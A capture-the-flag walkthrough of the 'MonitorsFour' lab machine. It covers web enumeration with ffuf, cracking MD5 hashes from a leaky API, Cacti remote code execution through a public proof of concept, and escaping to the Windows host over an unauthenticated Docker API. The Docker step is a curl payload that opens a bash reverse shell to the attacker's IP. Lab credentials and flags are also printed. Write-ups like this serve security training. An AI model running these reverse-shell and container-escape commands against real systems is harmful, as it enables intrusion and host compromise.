MonitorsFour

Tools

  • ffuf
  • fscan

## Getting User

Nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
┌──(kali㉿kali)-[~]
└─$ sudo nmap -sC -sV -p80,5985 10.129.77.121
Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-19 02:01 EST
Nmap scan report for 10.129.77.121
Host is up (0.13s latency).

PORT STATE SERVICE VERSION
80/tcp open http nginx
|_http-title: Did not follow redirect to http://monitorsfour.htb/
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.48 seconds

Foothold

Append vhost to hosts file

1
2
3
┌──(kali㉿kali)-[~]
└─$ echo '10.129.77.121 monitorsfour.htb' | sudo tee -a /etc/hosts
10.129.77.121 monitorsfour.htb

Going through the website, I couldn’t find anything, just a login page with nothing to do with it for now.

Tried fuff to enumerate domains and found /user route

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
┌──(kali㉿kali)-[~]
└─$ ffuf -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -u http://monitorsfour.htb/FUZZ

/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/

v2.1.0-dev
________________________________________________

:: Method : GET
:: URL : http://monitorsfour.htb/FUZZ
:: Wordlist : FUZZ: /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

# [Status: 200, Size: 13688, Words: 3598, Lines: 339, Duration: 153ms]
# Attribution-Share Alike 3.0 License. To view a copy of this [Status: 200, Size: 13688, Words: 3598, Lines: 339, Duration: 162ms]
# [Status: 200, Size: 13688, Words: 3598, Lines: 339, Duration: 180ms]
# on atleast 2 different hosts [Status: 200, Size: 13688, Words: 3598, Lines: 339, Duration: 181ms]
# [Status: 200, Size: 13688, Words: 3598, Lines: 339, Duration: 184ms]
# or send a letter to Creative Commons, 171 Second Street, [Status: 200, Size: 13688, Words: 3598, Lines: 339, Duration: 189ms]
# Copyright 2007 James Fisher [Status: 200, Size: 13688, Words: 3598, Lines: 339, Duration: 192ms]
# license, visit http://creativecommons.org/licenses/by-sa/3.0/ [Status: 200, Size: 13688, Words: 3598, Lines: 339, Duration: 193ms]
# Priority ordered case sensative list, where entries were found [Status: 200, Size: 13688, Words: 3598, Lines: 339, Duration: 195ms]
contact [Status: 200, Size: 367, Words: 34, Lines: 5, Duration: 198ms]
# [Status: 200, Size: 13688, Words: 3598, Lines: 339, Duration: 198ms]
[Status: 200, Size: 13688, Words: 3598, Lines: 339, Duration: 201ms]
# This work is licensed under the Creative Commons [Status: 200, Size: 13688, Words: 3598, Lines: 339, Duration: 202ms]
# directory-list-2.3-medium.txt [Status: 200, Size: 13688, Words: 3598, Lines: 339, Duration: 202ms]
# Suite 300, San Francisco, California, 94105, USA. [Status: 200, Size: 13688, Words: 3598, Lines: 339, Duration: 208ms]
login [Status: 200, Size: 4340, Words: 1342, Lines: 96, Duration: 144ms]
user [Status: 200, Size: 35, Words: 3, Lines: 1, Duration: 144ms]
static [Status: 301, Size: 162, Words: 5, Lines: 8, Duration: 133ms]
views [Status: 301, Size: 162, Words: 5, Lines: 8, Duration: 132ms]
forgot-password [Status: 200, Size: 3099, Words: 164, Lines: 84, Duration: 188ms]
[Status: 200, Size: 13688, Words: 3598, Lines: 339, Duration: 152ms]
controllers [Status: 301, Size: 162, Words: 5, Lines: 8, Duration: 138ms]
[WARN] Caught keyboard interrupt (Ctrl-C)

Visiting http://monitorsfour.htb/user page, I see this

1
{"error":"Missing token parameter"}

So I added ?token=0 to the url to add the token parameter and got the following

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
[
{
"id": 2,
"username": "admin",
"email": "admin@monitorsfour.htb",
"password": "56b32eb43e6f15395f6c46c1c9e1cd36",
"role": "super user",
"token": "8024b78f83f102da4f",
"name": "Marcus Higgins",
"position": "System Administrator",
"dob": "1978-04-26",
"start_date": "2021-01-12",
"salary": "320800.00"
},
{
"id": 5,
"username": "mwatson",
"email": "mwatson@monitorsfour.htb",
"password": "69196959c16b26ef00b77d82cf6eb169",
"role": "user",
"token": "0e543210987654321",
"name": "Michael Watson",
"position": "Website Administrator",
"dob": "1985-02-15",
"start_date": "2021-05-11",
"salary": "75000.00"
},
{
"id": 6,
"username": "janderson",
"email": "janderson@monitorsfour.htb",
"password": "2a22dcf99190c322d974c8df5ba3256b",
"role": "user",
"token": "0e999999999999999",
"name": "Jennifer Anderson",
"position": "Network Engineer",
"dob": "1990-07-16",
"start_date": "2021-06-20",
"salary": "68000.00"
},
{
"id": 7,
"username": "dthompson",
"email": "dthompson@monitorsfour.htb",
"password": "8d4a7e7fd08555133e056d9aacb1e519",
"role": "user",
"token": "0e111111111111111",
"name": "David Thompson",
"position": "Database Manager",
"dob": "1982-11-23",
"start_date": "2022-09-15",
"salary": "83000.00"
}
]

I’ll use john the ripper to try to crack the passwords

first, i’m going to create a file with the password list

1
2
3
4
5
6
┌──(kali㉿kali)-[~]
└─$ echo '''56b32eb43e6f15395f6c46c1c9e1cd36
69196959c16b26ef00b77d82cf6eb169
2a22dcf99190c322d974c8df5ba3256b
8d4a7e7fd08555133e056d9aacb1e519
''' > hashes.txt

then going to use john on the list

1
2
3
4
5
6
7
8
9
10
11
┌──(kali㉿kali)-[~]
└─$ john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

Using default input encoding: UTF-8
Loaded 4 password hashes with no different salts (Raw-MD5 [MD5 512/512 AVX512BW 16x3])
Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status
wonderful1 (?)
1g 0:00:00:00 DONE (2026-01-19 03:26) 2.222g/s 31874Kp/s 31874Kc/s 95659KC/s fuckyooh21..*7¡Vamos!
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.

I found one result

1
2
3
4
5
6
┌──(kali㉿kali)-[~]
└─$ john --show --format=raw-md5 hashes.txt

?:wonderful1

1 password hash cracked, 3 left

I will compute MD5 of the result to map it and see which user it belongs to. I mapped it admin

1
2
3
4
┌──(kali㉿kali)-[~]
└─$ echo -n 'wonderful1' | md5sum

56b32eb43e6f15395f6c46c1c9e1cd36 -

I now have credentials to login

Going through the dashboard, I found that i’m able to create a new user with an admin role and can generate an api that i should treat as “‘password” according to the page.

Found nothing to do with these, so I decided to using ffuf to fuzz directories again using a small different wordlist.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
┌──(kali㉿kali)-[~]
└─$ ffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt -u http://monitorsfour.htb/FUZZ

/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/

v2.1.0-dev
________________________________________________

:: Method : GET
:: URL : http://monitorsfour.htb/FUZZ
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/common.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

.hta [Status: 403, Size: 146, Words: 3, Lines: 8, Duration: 244ms]
.htaccess [Status: 403, Size: 146, Words: 3, Lines: 8, Duration: 244ms]
.htpasswd [Status: 403, Size: 146, Words: 3, Lines: 8, Duration: 251ms]
.env [Status: 200, Size: 97, Words: 1, Lines: 6, Duration: 252ms]
contact [Status: 200, Size: 367, Words: 34, Lines: 5, Duration: 247ms]
controllers [Status: 301, Size: 162, Words: 5, Lines: 8, Duration: 247ms]
forgot-password [Status: 200, Size: 3099, Words: 164, Lines: 84, Duration: 261ms]
login [Status: 200, Size: 4340, Words: 1342, Lines: 96, Duration: 477ms]
static [Status: 301, Size: 162, Words: 5, Lines: 8, Duration: 330ms]
user [Status: 200, Size: 35, Words: 3, Lines: 1, Duration: 550ms]
views [Status: 301, Size: 162, Words: 5, Lines: 8, Duration: 238ms]
:: Progress: [4750/4750] :: Job [1/1] :: 24 req/sec :: Duration: [0:01:32] :: Errors: 0 ::

found .env file that i can download which contains mariadb credentials

1
2
3
4
5
DB_HOST=mariadb
DB_PORT=3306
DB_NAME=monitorsfour_db
DB_USER=monitorsdbuser
DB_PASS=f37p2j8f4t0r

There’s still nothing I can do with all I have, so I enumerated subdomains and found cacti

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
┌──(kali㉿kali)-[~]
└─$ ffuf -c -u http://monitorsfour.htb/ -H "Host: FUZZ.monitorsfour.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fs 138

/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/

v2.1.0-dev
________________________________________________

:: Method : GET
:: URL : http://monitorsfour.htb/
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
:: Header : Host: FUZZ.monitorsfour.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 138
________________________________________________

cacti [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 223ms]
:: Progress: [4989/4989] :: Job [1/1] :: 180 req/sec :: Duration: [0:00:29] :: Errors: 0 ::

Added cacti subdomain to hosts file

1
2
3
4
┌──(kali㉿kali)-[~]
└─$ echo '10.129.77.121 cacti.monitorsfour.htb' | sudo tee -a /etc/hosts
[sudo] password for kali:
10.129.77.121 cacti.monitorsfour.htb

Logging in to Cacti using admin:wonderful1 didn’t work. After trying some usernames based of the user’s information that I have, the username marcus:wonderful1 worked

1
2
3
4
5
6
7
8
9
10
11
12
13
{
"id": 2,
"username": "admin",
"email": "admin@monitorsfour.htb",
"password": "wonderful1",
"role": "super user",
"token": "8024b78f83f102da4f",
"name": "Marcus Higgins",
"position": "System Administrator",
"dob": "1978-04-26",
"start_date": "2021-01-12",
"salary": "320800.00"
},

This cacti is running on version 1.2.28. which has a RCE vulnerability CVE-2025-24367

I used this PoC from github CVE-2025-24367-Cacti-PoC and I was able to get foothold

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
┌──(venv)─(kali㉿kali)-[~]
└─$ python3 expl.py \
-u marcus \
-p wonderful1 \
-i 10.10.14.88 \
-l 4444 \
-url http://cacti.monitorsfour.htb
[+] Cacti Instance Found!
[+] Serving HTTP on port 80
[+] Login Successful!
[+] Got graph ID: 226
[i] Created PHP filename: dLIkY.php
[+] Got payload: /bash
[i] Created PHP filename: dw5G4.php
[+] Hit timeout, looks good for shell, check your listener!
[+] Stopped HTTP server on port 80
1
2
3
4
5
6
7
┌──(kali㉿kali)-[~]
└─$ nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.10.14.88] from (UNKNOWN) [10.129.77.121] 53739
bash: cannot set terminal process group (7): Inappropriate ioctl for device
bash: no job control in this shell
www-data@821fbd6a43fa:~/html/cacti$

And I got the user flag

1
2
3
4
5
6
7
8
9
10
11
12
13
www-data@821fbd6a43fa:~/html/cacti$ cd /home
cd /home
www-data@821fbd6a43fa:/home$ ls
ls
marcus
www-data@821fbd6a43fa:/home$ cd marcus
cd marcus
www-data@821fbd6a43fa:/home/marcus$ ls
ls
user.txt
www-data@821fbd6a43fa:/home/marcus$ cat user.txt
cat user.txt
53bd72614dbcb77e12d6cbebade44f8a

Getting Root

Information Gathering

Since I got the DB credentials earlier, I’m gonna see whats there

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
www-data@821fbd6a43fa:/home/marcus$ mysql -h mariadb -u monitorsdbuser -p monitorsfour_db
rsfour_dbmariadb -u monitorsdbuser -p monitor
Enter password: f37p2j8f4t0r

Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 8144
Server version: 11.4.8-MariaDB-ubu2404 mariadb.org binary distribution

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [monitorsfour_db]>

Nothing useful there.

I found the Cacti DB credentials in cacti/include/config.php

1
2
3
$database_default  = 'cacti';
$database_username = 'cactidbuser';
$database_password = '7pyrf6ly8qx4';

Connected to the DB and found nothing useful.

It looks like i’m in a docker containers

1
2
cat /proc/version
Linux version 6.6.87.2-microsoft-standard-WSL2 (root@439a258ad544) (gcc (GCC) 11.2.0, GNU ld (GNU Binutils) 2.37) #1 SMP PREEMPT_DYNAMIC Thu Jun 5 18:30:46 UTC 2025

Host IP is 192.168.65.7

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
www-data@821fbd6a43fa:/$ ip route
default via 172.18.0.1 dev eth0
172.18.0.0/16 dev eth0 proto kernel scope link src 172.18.0.3
www-data@821fbd6a43fa:/tmp$ cat /etc/resolv.conf
# Generated by Docker Engine.
# This file can be edited; Docker Engine will not make further changes once it
# has been modified.

nameserver 127.0.0.11
options ndots:0

# Based on host file: '/etc/resolv.conf' (internal resolver)
# ExtServers: [host(192.168.65.7)]
# Overrides: []
# Option ndots from: internal
www-data@821fbd6a43fa:/$

I uploaded and ran fscan in the container and found out we have access to the docker API

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
www-data@821fbd6a43fa:/tmp$ ./fscan -h 192.168.65.7

___ _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 1.8.4
start infoscan
192.168.65.7:2375 open
192.168.65.7:3128 open
192.168.65.7:5555 open
[*] alive ports len is: 3
start vulscan
[*] WebTitle http://192.168.65.7:2375 code:404 len:29 title:None
[*] WebTitle http://192.168.65.7:5555 code:200 len:0 title:None
[+] PocScan http://192.168.65.7:2375 poc-yaml-docker-api-unauthorized-rce
[+] PocScan http://192.168.65.7:2375 poc-yaml-go-pprof-leak
已完成 3/3
[*] 扫描结束,耗时: 5.101152542s
www-data@821fbd6a43fa:/tmp$

It seems I can use poc-yaml-docker-api-unauthorized-rce.


Privilege Escalation

I see that first I need to get any available docker image. doing curl http://192.168.65.7:2375/images/json i identify docker_setup-nginx-php:latest
Now I need to craft a payload to send to /containers/create.

1
curl -X POST http://192.168.65.7:2375/containers/create \-H "Content-Type: application/json" \-d '{ "Image": "docker_setup-nginx-php:latest", "Cmd": ["/bin/bash", "-c", "exec bash -i &>/dev/tcp/10.10.14.88/6666 <&1"], "HostConfig": { "Binds": ["/mnt/host/c:/host_root"] } }'

after running that, I got the response with the Id of the new container which we need to run.
first, I start listening to port 6666 nc -lnvp 6666, then use curl to run the container

1
curl -X POST http://192.168.65.7:2375/containers/4802f7244b0bd11f08576abf88d73812c0e17e6d3dd1941adcb6db37974cbfa3/start

I can now get root.txt flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
┌──(kali㉿kali)-[~]
└─$ nc -lnvp 6666
listening on [any] 6666 ...
connect to [10.10.14.88] from (UNKNOWN) [10.129.7.107] 59245
bash: cannot set terminal process group (-1): Inappropriate ioctl for device
bash: no job control in this shell
root@4802f7244b0b:/var/www/html# cd /
root@4802f7244b0b:/# cd host_root
cd host_root
root@4802f7244b0b:/host_root# ls
ls
$RECYCLE.BIN
$WinREAgent
Documents and Settings
DumpStack.log.tmp
PerfLogs
Program Files
Program Files (x86)
ProgramData
Recovery
System Volume Information
Users
Windows
Windows.old
inetpub
pagefile.sys
root@4802f7244b0b:/host_root# cd Users
cd Users
root@4802f7244b0b:/host_root/Users# cd Desktop
cd Desktop
bash: cd: Desktop: No such file or directory
root@4802f7244b0b:/host_root/Users# ls
ls
Administrator
All Users
Default
Default User
Public
desktop.ini
marcus
root@4802f7244b0b:/host_root/Users# cd Administrator/Desktop
cd Administrator/Desktop
root@4802f7244b0b:/host_root/Users/Administrator/Desktop# ls
ls
desktop.ini
root.txt
root@4802f7244b0b:/host_root/Users/Administrator/Desktop#